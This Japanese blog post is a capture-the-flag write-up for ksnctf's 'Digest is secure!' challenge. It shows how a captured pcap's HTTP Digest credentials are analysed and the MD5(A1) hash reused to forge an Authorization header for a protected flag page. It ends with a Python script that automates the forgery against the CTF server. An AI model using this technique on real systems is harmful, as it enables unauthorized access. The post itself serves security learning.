Szarny.io

There should be one-- and preferably only one --obvious way to do it.

ksnctf 9. Digest is secure! の writeup

問題へのリンク

ksnctf - 9 Digest is secure!

問題文からの調査

問題文は,pcapファイルへのリンクのみなので,とりあえずこれをダウンロードしてWiresharkで開いてみます.
大量のパケットがやり取りされていて見づらいので,httpでフィルタをかけてみました.

f:id:Szarny:20170822231301p:plain

パケットを見てみたところ,おおよそ以下のようなやり取りがなされていることが分かりました.

番号 通信方向 内容
7 クライアント→サーバ ctfq.sweetduet.info の 10080ポートに向けて /~q9/ をリクエス
9 クライアント←サーバ 401 Authorization Requiredで拒否される. WWW-AuthenticateヘッダにてクライアントにDigest認証を要求.
14 クライアント→サーバ Authorizationヘッダに認証情報をセットして再度リクエス
16 クライアント←サーバ リクエストが許可されて,flag.htmlへのリンクが書かれたHTMLをレスポンス

そこで,flag.htmlにアクセスすればいいのかな?と思いアクセスしてみるとDigest認証要求

f:id:Szarny:20170822232403p:plain

おそらく,この認証を突破すれば,Flagにアクセスできるのだと思いました.

Digest認証

Digest認証は以下のような形式をとります.

A1 = ユーザ名 ":" realm ":" パスワード
A2 = HTTPのメソッド ":" コンテンツのURI
response = MD5( MD5(A1) ":" nonce ":" nc ":" cnonce ":" qop ":" MD5(A2) )
Digest認証 - Wikipedia より抜粋

要素 意味
realm この認証の効果が及ぶ領域名
nonce サーバ側で生成されるランダム文字列
nc nonceのカウンタ
cnonce client側で生成されるのnonce(=c + nonce)
qop ハッシュ計算をする領域(auth-intの場合ボディ部も含める)

この response が最終的な認証情報となります.

問題解析

まず,なにもなしでアクセスしてみる.

HTTP Request GET http://ksnctf.sweetduet.info:10080/~q9/flag.html HTTP/1.1
HTTP Response HTTP/1.1 401 Authorization Required
...
WWW-Authenticate: Digest realm="secret", nonce="EHHiAlhXBQA=cbdd6616dae65f731975206063ecbd89aa5dbd8d", algorithm=MD5, qop="auth"


当然ですが,「認証しろ」とのお返事が返ってきます.
最終的に前述のresponseを作成しないといけないので,まずはpcap内の認証データを解析します.
MD5は,Web上の逆変換ツールを用いて元に戻しています.

元データ Digest username="q9", realm="secret", nonce="bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b", uri="/~q9/", algorithm=MD5, response="c3077454ecf09ecef1d6c1201038cfaf", qop=auth, nc=00000001, cnonce="9691c249745d94fc"
逆変換後のresponse c627e19450db746b739f41b64097d449:bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b:00000001:9691c249745d94fc:auth:31e101310bcd7fae974b921eb148099c


このままだとわかりにくいのでさらに細かく...

MD5(A1) c627e19450db746b739f41b64097d449
A1 ???(ユーザ名/realm/パスワードは変更しないので,わからなくてもOK)
nonce bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b
nc 00000001
cnonce 9691c249745d94fc
qop auth
MD5(A2) 31e101310bcd7fae974b921eb148099c
A2 GET:/~q9/


以上より,responseの中身が解析できました.
ここから,各種パラメータの値を適宜変更して,全体をMD5でハッシュ化したものをresponseに代入してサーバに送信すれば,Flagの値が得られるはずです!

解法

まず,flag.htmlのページにアクセスし,認証フォームのユーザ名にq9を入れて送信します.
この時,Fiddler等のProxyでデータの一旦止めておき,値の変更を行います.変更する必要があるパラメタは response(を構成するパラメタ)です.

MD5(A1) c627e19450db746b739f41b64097d449
nonce K1m1gZ9XBQA=d2bb438fd14be99b4865e845cdba87c8d294b780
nc 00000001
cnonce 5f70c9b7a0f15b7d
qop auth
A2 GET:/~q9/flag.html
MD5(A2) ffffdd8b8029499600f95a69beb239c2
MD5化前のresponse c627e19450db746b739f41b64097d449:K1m1gZ9XBQA=d2bb438fd14be99b4865e845cdba87c8d294b780:00000001:5f70c9b7a0f15b7d:auth:ffffdd8b8029499600f95a69beb239c2
response 2cb748229745f1c0bfbd53e22a335cad

Run to Completionを押してアクセスすると,出ました!

f:id:Szarny:20170826123613p:plain

おわりに

Digest認証は安全だと覚えていましたが,キャプチャを取得できるとアクセスできてしまうんですね.
他の方のwriteupを見ていると,スクリプトを書いて解いている方が多かったので,今後勉強ついでにpythonで書いてみたいと思います.

[追記]Pythonスクリプト

上記の手順を一気に行うpython3のスクリプトです.
requests, hashlib, BeautifulSoupモジュールを利用しています.

import requests
import hashlib
from bs4 import BeautifulSoup as bs

# アクセス先URL
url = "http://ksnctf.sweetduet.info:10080/~q9/flag.html"

# response用に用いるパラメタ
md5a1 = "c627e19450db746b739f41b64097d449"
nonce = ""
nc = "00000001"
cnonce = "5f70c9b7a0f15b7d"
qop = "auth"
a2 = "GET:/~q9/flag.html"
md5a2 = "ffffdd8b8029499600f95a69beb239c2"

# Authorizationヘッダ作成に用いるパラメタ
username = "q9"
realm = "secret"
algorithm = "MD5"
uri = "/~q9/flag.html"

# MD5ハッシュ値を返却する関数
def get_md5(arg):
    return hashlib.md5(arg.encode('utf-8')).hexdigest()

def main():
    # リクエストの送信
    auth_header = requests.get(url).headers["WWW-Authenticate"]

    # nonceの取得
    nonce = auth_header.split(" ")[2][7:-2]

    # responseの生成とハッシュ化
    not_md5_response = md5a1 + ":" + nonce + ":" + nc + ":" + cnonce + ":" + qop + ":" + md5a2
    md5_response = get_md5(not_md5_response)

    # Authorizationヘッダの作成
    headers  = {
        "Authorization": \
            "Digest username=\"" + username + "\"" + \
            ", realm=\"" + realm + "\"" + \
            ", nonce=\"" + nonce + "\"" + \
            ", uri=\"" + uri + "\"" + \
            ", algorithm=\"" + algorithm + "\"" + \
            ", response=\"" + md5_response + "\"" + \
            ", qop=" + qop + \
            ", nc=" + nc + \
            ", cnonce=\"" + cnonce + "\""
    }

    # ヘッダを付与してリクエストを生成
    answer = requests.get(url, headers=headers)

    answer_soup = bs(answer.text, "html.parser")
    print(answer_soup.p.text)

main()